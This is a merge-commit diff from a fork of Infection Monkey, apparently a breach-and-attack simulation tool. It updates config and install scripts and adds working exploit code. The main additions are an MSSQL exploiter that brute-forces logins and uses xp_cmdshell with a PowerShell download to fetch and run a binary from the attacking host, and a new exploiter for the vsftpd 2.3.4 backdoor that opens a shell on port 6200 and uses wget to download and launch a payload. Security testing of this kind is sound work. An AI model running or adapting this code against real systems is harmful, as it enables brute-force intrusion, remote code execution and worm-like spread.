forked from p34709852/monkey
Merge branch 'develop' into improvement/232-dont-show-linux-in-cred-map
This commit is contained in:
commit
fd36118c0e
|
@ -81,33 +81,15 @@ wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
|
|||
# Allow them to be executed
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
|
||||
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
|
||||
|
||||
|
||||
# Get machine type/kernel version
|
||||
kernel=`uname -m`
|
||||
linux_dist=`lsb_release -a 2> /dev/null`
|
||||
|
||||
# If a user haven't installed mongo manually check if we can install it with our script
|
||||
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \
|
||||
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then
|
||||
echo "Script does not support your operating system for mongodb installation.
|
||||
Reference monkey island readme and install it manually"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Download mongo
|
||||
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
|
||||
log_message "Downloading mongodb"
|
||||
if [[ ${linux_dist} == *"Debian"* ]]; then
|
||||
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
|
||||
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
|
||||
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
|
||||
fi
|
||||
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
|
||||
else
|
||||
log_message "Mongo db already installed"
|
||||
fi
|
||||
log_message "Installing MongoDB"
|
||||
${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error
|
||||
|
||||
log_message "Installing openssl"
|
||||
sudo apt-get install openssl
|
||||
|
|
|
@ -30,14 +30,14 @@ class AwsInstance(object):
|
|||
self.region = self._parse_region(
|
||||
urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
|
||||
except urllib2.URLError as e:
|
||||
logger.error("Failed init of AwsInstance while getting metadata: {}".format(e.message))
|
||||
logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
|
||||
|
||||
try:
|
||||
self.account_id = self._extract_account_id(
|
||||
urllib2.urlopen(
|
||||
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
|
||||
except urllib2.URLError as e:
|
||||
logger.error("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
|
||||
logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
|
||||
|
||||
@staticmethod
|
||||
def _parse_region(region_url_response):
|
||||
|
|
|
@ -104,8 +104,8 @@ class Configuration(object):
|
|||
dropper_set_date = True
|
||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||
dropper_date_reference_path_linux = '/bin/sh'
|
||||
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
|
||||
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
|
||||
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
|
||||
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
|
||||
dropper_target_path_linux = '/tmp/monkey'
|
||||
|
||||
###########################
|
||||
|
@ -157,7 +157,7 @@ class Configuration(object):
|
|||
retry_failed_explotation = True
|
||||
|
||||
# addresses of internet servers to ping and check if the monkey has internet acccess.
|
||||
internet_services = ["monkey.guardicore.com", "www.google.com"]
|
||||
internet_services = ["updates.infectionmonkey.com", "www.google.com"]
|
||||
|
||||
keep_tunnel_open_time = 60
|
||||
|
||||
|
@ -205,6 +205,7 @@ class Configuration(object):
|
|||
# exploiters config
|
||||
###########################
|
||||
|
||||
should_exploit = True
|
||||
skip_exploit_if_file_exist = False
|
||||
|
||||
ms08_067_exploit_attempts = 5
|
||||
|
|
|
@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError
|
|||
import infection_monkey.monkeyfs as monkeyfs
|
||||
import infection_monkey.tunnel as tunnel
|
||||
from infection_monkey.config import WormConfiguration, GUID
|
||||
from infection_monkey.network.info import local_ips, check_internet_access
|
||||
from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT
|
||||
from infection_monkey.transport.http import HTTPConnectProxy
|
||||
from infection_monkey.transport.tcp import TcpProxy
|
||||
|
||||
|
@ -19,6 +19,7 @@ requests.packages.urllib3.disable_warnings()
|
|||
|
||||
LOG = logging.getLogger(__name__)
|
||||
DOWNLOAD_CHUNK = 1024
|
||||
|
||||
# random number greater than 5,
|
||||
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
|
||||
TIMEOUT_IN_SECONDS = 15
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
{
|
||||
"should_exploit": true,
|
||||
"command_servers": [
|
||||
"192.0.2.0:5000"
|
||||
],
|
||||
|
@ -24,8 +25,8 @@
|
|||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
|
||||
monkey_dir_linux = '/tmp/monkey_dir',
|
||||
|
@ -44,7 +45,8 @@
|
|||
"SambaCryExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter"
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter"
|
||||
],
|
||||
"finger_classes": [
|
||||
"SSHFinger",
|
||||
|
|
|
@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
|
|||
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
||||
from infection_monkey.exploit.vsftpd import VSFTPDExploiter
|
||||
|
|
|
@ -1,12 +1,15 @@
|
|||
import os
|
||||
import logging
|
||||
|
||||
from time import sleep
|
||||
import pymssql
|
||||
import textwrap
|
||||
|
||||
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
|
||||
from infection_monkey.exploit import HostExploiter, tools
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
__author__ = 'Maor Rayzin'
|
||||
from infection_monkey.exploit.tools import HTTPTools
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.exploit.tools import get_monkey_dest_path
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -16,78 +19,89 @@ class MSSQLExploiter(HostExploiter):
|
|||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
LOGIN_TIMEOUT = 15
|
||||
# Time in seconds to wait between MSSQL queries.
|
||||
QUERY_BUFFER = 0.5
|
||||
SQL_DEFAULT_TCP_PORT = '1433'
|
||||
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
|
||||
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
|
||||
# Temporary file that saves commands for monkey's download and execution.
|
||||
TMP_FILE_NAME = 'tmp_monkey.bat'
|
||||
|
||||
def __init__(self, host):
|
||||
super(MSSQLExploiter, self).__init__(host)
|
||||
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
||||
|
||||
def create_payload_file(self, payload_path):
|
||||
"""
|
||||
This function creates dynamically the payload file to be transported and ran on the exploited machine.
|
||||
:param payload_path: A path to the create the payload file in
|
||||
:return: True if the payload file was created and false otherwise.
|
||||
"""
|
||||
try:
|
||||
with open(payload_path, 'w+') as payload_file:
|
||||
payload_file.write('dir C:\\')
|
||||
return True
|
||||
except Exception as e:
|
||||
LOG.error("Payload file couldn't be created", exc_info=True)
|
||||
return False
|
||||
|
||||
def exploit_host(self):
|
||||
"""
|
||||
Main function of the mssql brute force
|
||||
Return:
|
||||
True or False depends on process success
|
||||
"""
|
||||
# Brute force to get connection
|
||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||
|
||||
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
|
||||
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
|
||||
|
||||
if not self.create_payload_file(payload_path):
|
||||
return False
|
||||
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
||||
payload_path):
|
||||
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
||||
return True
|
||||
else:
|
||||
if not cursor:
|
||||
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||
return False
|
||||
|
||||
def handle_payload(self, cursor, payload):
|
||||
# Get monkey exe for host and it's path
|
||||
src_path = tools.get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||
return False
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
dst_path = get_monkey_dest_path(http_path)
|
||||
tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME)
|
||||
|
||||
# Create monkey dir.
|
||||
commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows]
|
||||
MSSQLExploiter.execute_command(cursor, commands)
|
||||
|
||||
# Form download command in a file
|
||||
commands = [
|
||||
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
|
||||
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
|
||||
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
|
||||
MSSQLExploiter.execute_command(cursor, commands)
|
||||
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||
|
||||
# Form monkey's command in a file
|
||||
monkey_args = tools.build_monkey_commandline(self.host,
|
||||
tools.get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
|
||||
for part in textwrap.wrap(monkey_args, 40)]
|
||||
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
|
||||
commands.extend(monkey_args)
|
||||
MSSQLExploiter.execute_command(cursor, commands)
|
||||
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def run_file(cursor, file_path):
|
||||
command = ["exec xp_cmdshell \"%s\"" % file_path]
|
||||
return MSSQLExploiter.execute_command(cursor, command)
|
||||
|
||||
@staticmethod
|
||||
def execute_command(cursor, cmds):
|
||||
"""
|
||||
Handles the process of payload sending and execution, prepares the attack and details.
|
||||
|
||||
Args:
|
||||
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
|
||||
payload (string): Payload path
|
||||
|
||||
Return:
|
||||
True or False depends on process success
|
||||
Executes commands on MSSQL server
|
||||
:param cursor: MSSQL connection
|
||||
:param cmds: list of commands in MSSQL syntax.
|
||||
:return: True if successfully executed, false otherwise.
|
||||
"""
|
||||
try:
|
||||
# Running the cmd on remote host
|
||||
for cmd in cmds:
|
||||
cursor.execute(cmd)
|
||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||
except Exception as e:
|
||||
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
|
||||
return False
|
||||
return True
|
||||
|
||||
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
|
||||
|
||||
if chosen_attack.send_payload():
|
||||
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
||||
if chosen_attack.execute_payload():
|
||||
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
|
||||
chosen_attack.cleanup_files()
|
||||
return True
|
||||
else:
|
||||
LOG.error("Payload: {0} couldn't be executed".format(payload))
|
||||
else:
|
||||
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
|
||||
|
||||
chosen_attack.cleanup_files()
|
||||
return False
|
||||
|
||||
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
|
||||
def brute_force(self, host, port, users_passwords_pairs_list):
|
||||
"""
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
Main loop starts here.
|
||||
|
@ -95,7 +109,6 @@ class MSSQLExploiter(HostExploiter):
|
|||
Args:
|
||||
host (str): Host ip address
|
||||
port (str): Tcp port that the host listens to
|
||||
payload (str): Local path to the payload
|
||||
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||
|
||||
Return:
|
||||
|
@ -112,19 +125,11 @@ class MSSQLExploiter(HostExploiter):
|
|||
'using user: {1}, password: {2}'.format(host, user, password))
|
||||
self.report_login_attempt(True, user, password)
|
||||
cursor = conn.cursor()
|
||||
|
||||
# Handles the payload and return True or False
|
||||
if self.handle_payload(cursor, payload):
|
||||
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
|
||||
return True
|
||||
else:
|
||||
LOG.warning("user: {0} and password: {1}, "
|
||||
"was able to connect to host: {2} but couldn't handle payload: {3}"
|
||||
.format(user, password, host, payload))
|
||||
return cursor
|
||||
except pymssql.OperationalError:
|
||||
# Combo didn't work, hopping to the next one
|
||||
pass
|
||||
|
||||
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||
'aborting brute force'.format(host, port))
|
||||
return False
|
||||
return None
|
||||
|
|
|
@ -1,208 +0,0 @@
|
|||
import os
|
||||
import multiprocessing
|
||||
import logging
|
||||
|
||||
import pymssql
|
||||
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
from pyftpdlib.authorizers import DummyAuthorizer
|
||||
from pyftpdlib.handlers import FTPHandler
|
||||
from pyftpdlib.servers import FTPServer
|
||||
from time import sleep
|
||||
|
||||
|
||||
__author__ = 'Maor Rayzin'
|
||||
|
||||
|
||||
FTP_SERVER_PORT = 1026
|
||||
FTP_SERVER_ADDRESS = ''
|
||||
FTP_SERVER_USER = 'brute'
|
||||
FTP_SERVER_PASSWORD = 'force'
|
||||
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
|
||||
FTP_WORK_DIR_LINUX = '/tmp/'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class FTP(object):
|
||||
|
||||
"""Configures and establish an FTP server with default details.
|
||||
|
||||
Args:
|
||||
user (str): User for FTP server auth
|
||||
password (str): Password for FTP server auth
|
||||
working_dir (str): The local working dir to init the ftp server on.
|
||||
"""
|
||||
|
||||
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
|
||||
"""Look at class level docstring."""
|
||||
self.dst_ip = host.ip_addr
|
||||
self.user = user
|
||||
self.password = password
|
||||
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
|
||||
|
||||
def run_server(self):
|
||||
|
||||
""" Configures and runs the ftp server to listen forever until stopped.
|
||||
"""
|
||||
|
||||
# Defining an authorizer and configuring the ftp user
|
||||
authorizer = DummyAuthorizer()
|
||||
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
|
||||
|
||||
# Normal ftp handler
|
||||
handler = FTPHandler
|
||||
handler.authorizer = authorizer
|
||||
|
||||
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
|
||||
|
||||
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
|
||||
self.server = FTPServer(address, handler)
|
||||
|
||||
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
|
||||
# multiproccess is being used here.
|
||||
self.server.serve_forever()
|
||||
|
||||
def stop_server(self):
|
||||
# Stops the FTP server and closing all connections.
|
||||
self.server.close_all()
|
||||
|
||||
|
||||
class AttackHost(object):
|
||||
"""
|
||||
This class acts as an interface for the attacking methods class
|
||||
|
||||
Args:
|
||||
payload_path (str): The local path of the payload file
|
||||
"""
|
||||
|
||||
def __init__(self, payload_path):
|
||||
self.payload_path = payload_path
|
||||
|
||||
def send_payload(self):
|
||||
raise NotImplementedError("Send function not implemented")
|
||||
|
||||
def execute_payload(self):
|
||||
raise NotImplementedError("execute function not implemented")
|
||||
|
||||
|
||||
class CmdShellAttack(AttackHost):
|
||||
|
||||
"""
|
||||
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
|
||||
|
||||
Args:
|
||||
payload_path (str): The local path of the payload file
|
||||
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
|
||||
host (model.host.VictimHost): Host this attack is going to target
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, payload_path, cursor, host):
|
||||
super(CmdShellAttack, self).__init__(payload_path)
|
||||
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
|
||||
self.cursor = cursor
|
||||
self.attacker_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
def send_payload(self):
|
||||
"""
|
||||
Sets up an FTP server and using it to download the payload to the remote host
|
||||
|
||||
Return:
|
||||
True if payload sent False if not.
|
||||
"""
|
||||
|
||||
# Sets up the cmds to run
|
||||
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
|
||||
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
|
||||
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
|
||||
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
|
||||
.format(self.payload_path)
|
||||
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
|
||||
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
|
||||
|
||||
# Checking to see if ftp server is up
|
||||
if self.ftp_server_p and self.ftp_server:
|
||||
try:
|
||||
# Running the cmd on remote host
|
||||
for cmd in shellcmds:
|
||||
self.cursor.execute(cmd)
|
||||
sleep(0.5)
|
||||
except Exception as e:
|
||||
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
return True
|
||||
else:
|
||||
LOG.error("Couldn't establish an FTP server for the dropout")
|
||||
return False
|
||||
|
||||
def execute_payload(self):
|
||||
|
||||
"""
|
||||
Executes the payload after ftp drop
|
||||
|
||||
Return:
|
||||
True if payload was executed successfully, False if not.
|
||||
"""
|
||||
|
||||
# Getting the payload's file name
|
||||
payload_file_name = os.path.split(self.payload_path)[1]
|
||||
|
||||
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
|
||||
shellcmd = """DECLARE @i INT \
|
||||
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
|
||||
SELECT @i """.format(payload_file_name)
|
||||
|
||||
try:
|
||||
# Executing payload on remote host
|
||||
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
|
||||
self.cursor.execute(shellcmd)
|
||||
if self.cursor.fetchall()[0][0] == 0:
|
||||
# Success
|
||||
self.ftp_server_p.terminate()
|
||||
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
|
||||
return True
|
||||
else:
|
||||
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
|
||||
except pymssql.OperationalError as e:
|
||||
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
|
||||
def cleanup_files(self):
|
||||
"""
|
||||
Cleans up the folder with the attack related files (C:\\tmp by default)
|
||||
:return: True or False if command executed or not.
|
||||
"""
|
||||
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
|
||||
try:
|
||||
self.cursor.execute(cleanup_command)
|
||||
LOG.info('Attack files cleanup command has been sent.')
|
||||
return True
|
||||
except Exception as e:
|
||||
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
|
||||
return False
|
||||
|
||||
def __init_ftp_server(self, host):
|
||||
"""
|
||||
Init an FTP server using FTP class on a different process
|
||||
|
||||
Return:
|
||||
ftp_s: FTP server object
|
||||
p: the process obj of the FTP object
|
||||
"""
|
||||
|
||||
try:
|
||||
ftp_s = FTP(host)
|
||||
multiprocessing.log_to_stderr(logging.DEBUG)
|
||||
p = multiprocessing.Process(target=ftp_s.run_server)
|
||||
p.start()
|
||||
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
|
||||
return ftp_s, p
|
||||
except Exception as e:
|
||||
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
|
||||
return None, None
|
|
@ -7,6 +7,7 @@ import urllib2
|
|||
import httplib
|
||||
import unicodedata
|
||||
import re
|
||||
import ssl
|
||||
|
||||
import logging
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
|
@ -47,7 +48,7 @@ class Struts2Exploiter(WebRCE):
|
|||
headers = {'User-Agent': 'Mozilla/5.0'}
|
||||
request = urllib2.Request(url, headers=headers)
|
||||
try:
|
||||
return urllib2.urlopen(request).geturl()
|
||||
return urllib2.urlopen(request, context=ssl._create_unverified_context()).geturl()
|
||||
except urllib2.URLError:
|
||||
LOG.error("Can't reach struts2 server")
|
||||
return False
|
||||
|
|
|
@ -0,0 +1,149 @@
|
|||
"""
|
||||
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
|
||||
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|
||||
only vulnerable version is "2.3.4"
|
||||
"""
|
||||
|
||||
|
||||
import StringIO
|
||||
import logging
|
||||
import paramiko
|
||||
import socket
|
||||
import time
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from logging import getLogger
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
__author__ = 'D3fa1t'
|
||||
|
||||
FTP_PORT = 21 # port at which vsftpd runs
|
||||
BACKDOOR_PORT = 6200 # backdoor port
|
||||
RECV_128 = 128 # In Bytes
|
||||
UNAME_M = "uname -m"
|
||||
ULIMIT_V = "ulimit -v " # To increase the memory limit
|
||||
UNLIMITED = "unlimited;"
|
||||
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
|
||||
PASSWORD = b'PASS please' # Ftp Password
|
||||
FTP_TIME_BUFFER = 1 # In seconds
|
||||
|
||||
class VSFTPDExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['linux']
|
||||
|
||||
def __init__ (self, host):
|
||||
self._update_timestamp = 0
|
||||
super(VSFTPDExploiter, self).__init__(host)
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
||||
def socket_connect(self, s, ip_addr, port):
|
||||
try:
|
||||
s.connect((ip_addr, port))
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.error('Failed to connect to %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def socket_send_recv(self, s, message):
|
||||
try:
|
||||
s.send(message)
|
||||
return s.recv(RECV_128).decode('utf-8')
|
||||
except socket.error as e:
|
||||
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def socket_send(self, s, message):
|
||||
try:
|
||||
s.send(message)
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def exploit_host(self):
|
||||
LOG.info("Attempting to trigger the Backdoor..")
|
||||
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
||||
ftp_socket.recv(RECV_128).decode('utf-8')
|
||||
|
||||
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
self.socket_send(ftp_socket, PASSWORD + '\n')
|
||||
ftp_socket.close()
|
||||
LOG.info('Backdoor Enabled, Now we can run commands')
|
||||
else:
|
||||
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
|
||||
return False
|
||||
|
||||
LOG.info('Attempting to connect to backdoor...')
|
||||
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
||||
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
|
||||
|
||||
uname_m = str.encode(UNAME_M + '\n')
|
||||
response = self.socket_send_recv(backdoor_socket, uname_m)
|
||||
|
||||
if response:
|
||||
LOG.info('Response for uname -m: %s', response)
|
||||
if '' != response.lower().strip():
|
||||
# command execution is successful
|
||||
self.host.os['machine'] = response.lower().strip()
|
||||
self.host.os['type'] = 'linux'
|
||||
else :
|
||||
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# Create a http server to host the monkey
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
LOG.info("Download link for monkey is %s", http_path)
|
||||
|
||||
# Upload the monkey to the machine
|
||||
monkey_path = dropper_target_path_linux
|
||||
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
|
||||
download_command = str.encode(str(download_command) + '\n')
|
||||
LOG.info("Download command is %s", download_command)
|
||||
if self.socket_send(backdoor_socket, download_command):
|
||||
LOG.info('Monkey is now Downloaded ')
|
||||
else:
|
||||
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
# Change permissions
|
||||
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
|
||||
change_permission = str.encode(str(change_permission) + '\n')
|
||||
LOG.info("change_permission command is %s", change_permission)
|
||||
backdoor_socket.send(change_permission)
|
||||
|
||||
# Run monkey on the machine
|
||||
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
||||
|
||||
# Set unlimited to memory
|
||||
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
|
||||
run_monkey = str.encode(str(run_monkey) + '\n')
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
if backdoor_socket.send(run_monkey):
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
|
|
@ -13,7 +13,7 @@ __author__ = 'VakarisZ'
|
|||
LOG = logging.getLogger(__name__)
|
||||
# Command used to check if monkeys already exists
|
||||
LOOK_FOR_FILE = "ls %s"
|
||||
POWERSHELL_NOT_FOUND = "owershell is not recognized"
|
||||
POWERSHELL_NOT_FOUND = "powershell is not recognized"
|
||||
# Constants used to refer to windows architectures( used in host.os['machine'])
|
||||
WIN_ARCH_32 = "32"
|
||||
WIN_ARCH_64 = "64"
|
||||
|
@ -253,7 +253,7 @@ class WebRCE(HostExploiter):
|
|||
if 'No such file' in resp:
|
||||
return False
|
||||
else:
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % str(host))
|
||||
return True
|
||||
|
||||
def check_remote_files(self, url):
|
||||
|
@ -281,7 +281,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
ports = self.get_open_service_ports(ports, names)
|
||||
if not ports:
